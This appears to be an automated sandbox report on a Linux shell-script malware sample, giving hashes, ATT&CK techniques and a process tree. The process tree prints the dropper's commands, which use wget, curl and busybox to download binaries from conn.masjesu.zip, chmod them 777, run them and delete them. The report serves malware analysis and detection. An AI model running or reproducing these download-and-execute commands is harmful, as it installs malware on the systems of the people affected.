c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce

Analysis

max time kernel
149s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2024, 02:52

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General

Target
c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce.sh
Size 10KB
Sample241027-dcymfasfqd
SHA256 c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce
MD5 8f6add65d41732c628b15429f288c9ed
SHA1 7653925d00191d0c465c27a2ec4629b239a7ed18
SHA512 9822610bf40aa2794b2d531ca757b371d0eff87dc60f77778095c63d86d51c56eefecde03fd235463e8f7c30e3cb53b3907b39fed8fe00a2aa05e2277ff1efe5
SSDEEP 96:YTvHRqikRLO+vrvPvLxpFCasUYqm34zeOeUIbI3Ikl/O+FLaSiLhahShnKmeLsgJ:YaRbO/dMYklZOcqNMYklYCV
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
677	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV	679	J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
683	curl
653	wget
662	curl
674	busybox
681	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV	curl

/tmp/c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce.sh
/tmp/c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce.sh
1⤵
PID:648
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:650
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - System Network Configuration Discovery
  PID:653
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:662
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - System Network Configuration Discovery
  PID:674
- /bin/chmod
  chmod 777 J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  ./J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/rm
  rm J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  PID:680
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - System Network Configuration Discovery
  PID:681
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:683

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV

Path /tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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Analysis

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General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads